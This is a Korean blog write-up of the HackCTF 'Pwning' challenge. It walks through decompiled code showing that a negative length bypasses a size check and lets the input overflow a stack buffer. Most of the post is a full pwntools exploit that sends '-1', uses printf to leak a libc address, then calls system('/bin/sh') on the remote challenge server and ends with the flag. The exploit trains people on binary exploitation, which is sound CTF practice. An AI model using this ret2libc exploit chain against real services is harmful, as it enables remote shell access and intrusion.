ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Pwning
    CTF/HackCTF 2021. 2. 5. 19:18

    Disassembly 디스어셈블리


    void main(void)
    {
        setvbuf(_reloc.stdout, 0, 2, 0);
        vuln();
        return;
    }
    void vuln(void)
    {
        char *str;
        uint32_t var_ch;
        
        printf("How many bytes do you want me to read? ");
        get_n((int32_t)&str, 4);
        var_ch = atoi(&str);
        if ((int32_t)var_ch < 0x21) {
            printf("Ok, sounds good. Give me %u bytes of data!\n", var_ch);
            get_n((int32_t)&str, var_ch);
            printf("You said: %s\n", &str);
        } else {
            printf("No! That size (%d) is too large!\n", var_ch);
        }
        return;
    }
    

    vuln 함수는 숫자를 입력받아 0x20 이하라면 그만큼 get_n으로 입력받는다. 

    void get_n(int32_t arg_8h, uint32_t arg_ch)
    {
        char cVar1;
        int32_t var_ch;
        
        var_ch = 0;
        while( true ) {
            cVar1 = getchar();
            if (((cVar1 == '\0') || (cVar1 == '\n')) || (arg_ch <= (uint32_t)var_ch)) break;
            *(char *)(arg_8h + var_ch) = cVar1;
            var_ch = var_ch + 1;
        }
        *(undefined *)(var_ch + arg_8h) = 0;
        return;
    }

    get_n(addr, size) 함수는 size 바이트 만큼 addr에 입력받고 문자열 끝에 null을 추가함을 알 수 있다.

     

    Type issue


    str은 ebp-0x2c에 자리하기 때문에 0x20 바이트 이하의 입력으로는 오버플로우가 발생하지 않는다. 따라서 어떻게든 입력받을 양을 늘려야 한다.

    void get_n(int32_t arg_8h, uint32_t arg_ch){
        ...    
    	if (((cVar1 == '\0') || (cVar1 == '\n')) || (arg_ch <= (uint32_t)var_ch)) break;
        ...
    }

    get_n 함수의 while문 종료조건을 보자. null이나 개행 문자를 만나거나 인자로 전달된 arg_ch만큼 입력받으면 함수가 종료되는데, 이때 비교 대상인 arg_ch는 unsigned 형이다.

    void vuln(void)
    {
        var_ch = atoi(&str);
        ...
        if ((int32_t)var_ch < 0x21) {
            printf("Ok, sounds good. Give me %u bytes of data!\n", var_ch);
            get_n((int32_t)&str, var_ch);
        ...
    }

    get_n에 넣어줄 인자는 처음에 입력받은 정수이므로 음수 역시 가능하고, 0x20 이하라는 조건 또한 만족한다.

     

    첫 입력으로 음수가 들어올 경우 스택 버퍼 오버플로우가 발생한다. 이를 이용해 스택 버퍼 오버플로우를 일으키자.

    p.sendlineafter("? ", "-1")

    Return Oriented Programming


    rsp를 마음대로 조작할 수 있으므로 라이브러리 주소를 알아내기 위해 printf를 이용하자.

    string = 0x08048702 # "%s\n"
    
    payload = b"A"*0x30
    payload += p32(printf_plt)
    payload += p32(ppr)
    payload += p32(string)
    payload += p32(atoi_got)
    payload += p32(printf_plt)
    payload += p32(ppr)
    payload += p32(string)
    payload += p32(getchar_got)
    
    p.recvuntil("!\n")
    p.sendline(payload)
    
    p.recvline()
    
    atoi = u32(p.recvline()[0:4])
    getchar = u32(p.recvline()[0:4])
    
    log.info("atoi : " + hex(atoi))
    log.info("getchar : " + hex(getchar))

    알아낸 두 함수의 주소를 libc database search에 입력하면 라이브러리 버전을 알아낼 수 있다.

    라이브러리 버전을 알아냈으니 libc base address를 구할 수 있고, 이를 통해 system과 binsh 문자열의 주소를 알아내어 system("/bin/sh")를 호출하면 문제를 해결할 수 있다.

     

    Code

    더보기
    from pwn import *
    
    binary = "./pwning"
    lib = "libc6-i386_2.23-0ubuntu11_amd64.so"
    server = "ctf.j0n9hyun.xyz"
    port = 3019
    
    # context.log_level = 'debug'
    context.binary = binary
    
    if True:
    	p = remote(server, port)
    else:
    	p = process(binary)
    	gdb.attach(p)
    
    e = ELF(binary)
    r = ROP(e)
    l = ELF(lib)
    
    e.checksec()
    
    ppr = (r.find_gadget(['pop edi', 'pop ebp', 'ret']))[0]
    
    vuln = e.symbols["vuln"]
    get_n = e.symbols["get_n"]
    atoi_got = e.got["atoi"]
    printf_plt = e.plt["printf"]
    
    string = 0x08048702 # "%s\n"
    
    p.sendlineafter("? ", "-1")
    
    payload = b"A"*0x30
    payload += p32(printf_plt)
    payload += p32(ppr)
    payload += p32(string)
    payload += p32(atoi_got)
    payload += p32(vuln)
    
    p.recvuntil("!\n")
    p.sendline(payload)
    
    p.recvline()
    
    atoi = u32(p.recvline()[0:4])
    libc = atoi - l.symbols["atoi"]
    log.info("libc : " + hex(libc))
    
    system = libc + l.symbols["system"]
    binsh = libc + next(l.search(b"/bin/sh\x00"))
    
    p.sendlineafter("? ", "-1")
    
    payload = b"A"*0x30
    payload += p32(system)
    payload += b"A"*0x4
    payload += p32(binsh)
    
    p.recvuntil("!\n")
    p.sendline(payload)
    
    p.recvline()
    
    p.interactive()

    Flag

    HackCTF{b34u71ful_5un5h1n3_pwn1n6}

    'CTF > HackCTF' 카테고리의 다른 글

    j0n9hyun's secret  (0) 2021.02.07
    SysROP  (0) 2021.02.05
    Unexploitable #3  (0) 2021.02.05
    babyfsb  (0) 2021.02.05
    Unexploitable #2  (0) 2021.02.05

    댓글

Designed by Tistory.